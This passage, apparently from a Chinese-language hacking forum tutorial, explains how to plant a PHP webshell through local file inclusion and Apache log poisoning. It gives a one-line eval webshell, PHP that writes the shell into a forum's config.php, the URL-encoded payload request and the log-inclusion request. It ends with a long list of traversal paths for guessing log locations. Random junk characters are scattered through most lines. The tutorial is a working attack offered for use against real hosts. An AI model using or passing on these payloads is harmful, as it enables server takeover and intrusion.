因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。
* y) I% ~# ^' L) C/ |! h1 |' a6 W, C7 W7 @
比如还是这句一句话木马
5 g2 w3 o% [( ]% N" @6 \8 ^<?eval($_POST[cmd]);?>
7 o! y! [7 v" x7 _8 m, ~1 B) n
0 v5 S: R4 O$ ^0 A4 d7 I# f3 F到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句, 5 @# c2 V8 E/ d1 W3 |
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 6 `; v Q# X! y# x# I
/ g( l6 m4 c. L+ P) s' M0 ^6 v
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
# c T, l* Y/ @& C- y7 Kfclose($fp);?> //在config.php里写入一句木马语句
) m5 G4 w) @" p" M0 q1 p- t/ a3 q
3 M/ f- ^: D- ~5 X( r& @我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。 5 s" I, t( a7 z* } f4 Y) H% A
转换为
8 c. A7 u" l% @8 ^1 _; J: P4 s- V%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
' H5 S3 X- Z& D/ ^+ dconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp 8 T5 H, `' m* v) ?
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B . `! {9 m3 U6 T& x5 ~
fclose%28%24fp%29%3B%3F%3E J8 n0 F2 }/ ^* r/ U7 B: x
我们提交
% `" D. o& a% |http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
) i( m4 j3 m$ z; j' k7 D' @9 ~# m" J%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
1 O9 l& v6 m9 D; Y; T%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
/ j- M5 c: j) c; M9 R- x9 c: icmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
! w0 e: J3 q. D( f' m4 N6 h5 Z
! h3 m& Q* W8 ]& i9 S' j这样就错误日志里就记录下了这行写入webshell的代码。 1 f5 T- S; h7 M5 L0 k
我们再来包含日志,提交
5 m' a. r0 }( N! q7 o2 @& Y) fhttp://xxx.com/z.php?zizzy=/home ... /logs/www-error_log 2 Q7 \8 |$ `4 w) l- T/ i, p5 B
1 n0 T9 a. w' j3 R
这样webshell就写入成功了,config.php里就写入一句木马语句 5 e X8 J. s& J9 a
OK.
" [" Z. l1 h; ahttp://www.xxx.com/forum/config.php这个就成了我们的webshell , d6 d7 a- K! B# i& A( \3 Q
直接用lanker的客户端一连,主机就是你的了。 " s+ {+ `; A- _2 x' W8 g
. q' k- J% Z+ {5 ]PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用 ; T" m1 ^! }; B
* Q" C9 D/ p9 T' I6 ^
其他的日志路径,你可以去猜,也可以参照这里。
w1 m3 Y' _: ?" e" u+ X; h../../../../../../../../../../var/log/httpd/access_log , t) a' `- H1 j/ q3 u7 A) V# L) O
../../../../../../../../../../var/log/httpd/error_log ! G5 l# O: J' N. D8 t8 F
../apache/logs/error.log 4 D9 v) x ?2 `) O" n" ^
../apache/logs/access.log
& _6 t @+ v8 S! B7 l../../apache/logs/error.log
/ `, ]8 Q; ]* n../../apache/logs/access.log
/ c2 }+ M* T0 Q% y% ]" t$ D* P7 _../../../apache/logs/error.log
_3 [8 c- @! a../../../apache/logs/access.log
5 @. _3 f& V* n, _5 y4 n$ r9 w../../../../../../../../../../etc/httpd/logs/acces_log ' {) c" D( S" Z" J! [/ k3 M
../../../../../../../../../../etc/httpd/logs/acces.log
, {& c+ A% P$ \: f2 q: B../../../../../../../../../../etc/httpd/logs/error_log
2 `" E- h. X* E( j" [! ~. z9 G. R../../../../../../../../../../etc/httpd/logs/error.log
$ ?7 {6 p/ P; E& I' x8 A; c../../../../../../../../../../var/www/logs/access_log 8 p [9 H6 \: a( } s2 Q; s3 K2 {
../../../../../../../../../../var/www/logs/access.log
0 y* [, L) @1 E- F( g1 B4 n../../../../../../../../../../usr/local/apache/logs/access_log ' v! R5 f2 U. f
../../../../../../../../../../usr/local/apache/logs/access.log
?; I! M- I" v7 v../../../../../../../../../../var/log/apache/access_log 8 D/ W5 q& e* z! M/ _
../../../../../../../../../../var/log/apache/access.log
" F8 X! H1 S- b' \../../../../../../../../../../var/log/access_log
. \4 b1 D* U1 h1 q../../../../../../../../../../var/www/logs/error_log
]* r0 S: \) b0 j. c8 A../../../../../../../../../../var/www/logs/error.log 1 a# o5 Q* P5 w f* c3 r3 B, E
../../../../../../../../../../usr/local/apache/logs/error_log
9 U" ?% D9 ~% l3 h4 M% A6 `../../../../../../../../../../usr/local/apache/logs/error.log : K. H' n; J) N0 f! s7 D
../../../../../../../../../../var/log/apache/error_log & X L3 B& H/ L) t
../../../../../../../../../../var/log/apache/error.log
5 T8 J1 ~. R. O1 _% b$ A/ i../../../../../../../../../../var/log/access_log
8 t* E( ?$ Y2 m0 L& B4 y2 B5 f" e( {../../../../../../../../../../var/log/error_log
' r/ @! M3 F/ ~' M! M/var/log/httpd/access_log / v' V- H3 m* K" q+ O
/var/log/httpd/error_log . g6 S' o( t% h# c. m& D3 k' w3 h
../apache/logs/error.log
% X% K5 Q7 {, R- M8 a../apache/logs/access.log , c$ _ Y" D0 ?; q& Q9 _
../../apache/logs/error.log
& P" _( [/ F# B- d../../apache/logs/access.log
. I" }5 m0 A8 c' Z3 Z../../../apache/logs/error.log
% W% W$ j ^# t8 Y4 X* q' W& E; y* z1 e../../../apache/logs/access.log 7 c' R7 G, M/ Y' B* ]+ J7 U5 @
/etc/httpd/logs/acces_log ; M& a9 }9 k/ w; c$ a* i
/etc/httpd/logs/acces.log
6 g, H8 G _2 j5 a0 n/etc/httpd/logs/error_log
9 D7 d0 p! u% {7 O/etc/httpd/logs/error.log
2 c L* x9 Q( |1 Z c8 o' ]8 @/var/www/logs/access_log * o0 j: Y. o5 A" S$ v9 E
/var/www/logs/access.log 3 \/ ~) T+ g; j! h
/usr/local/apache/logs/access_log
, p/ ~, I) K# V( l# n1 {# Z/usr/local/apache/logs/access.log
0 d% _# `" B5 m+ ?5 D/ G/var/log/apache/access_log ; N2 \% k3 t0 R3 O. a$ j6 `
/var/log/apache/access.log
9 A- c- h6 _9 p) h1 J l, p/var/log/access_log 7 v3 t/ c( |9 U, M7 O0 i
/var/www/logs/error_log
" E+ E- F |4 n" `% F" W9 Y. o4 p/var/www/logs/error.log / N' S- _" h2 T. i; N
/usr/local/apache/logs/error_log 7 p7 h7 J& n+ Y5 G
/usr/local/apache/logs/error.log
% S2 u7 R$ t: N+ N- r/var/log/apache/error_log / \* o: o: ?8 ^! p% \ W
/var/log/apache/error.log
2 i$ e$ O6 Y/ J( u; W" D6 Y/var/log/access_log
* ^6 u3 o' K- ]2 E/var/log/error_log |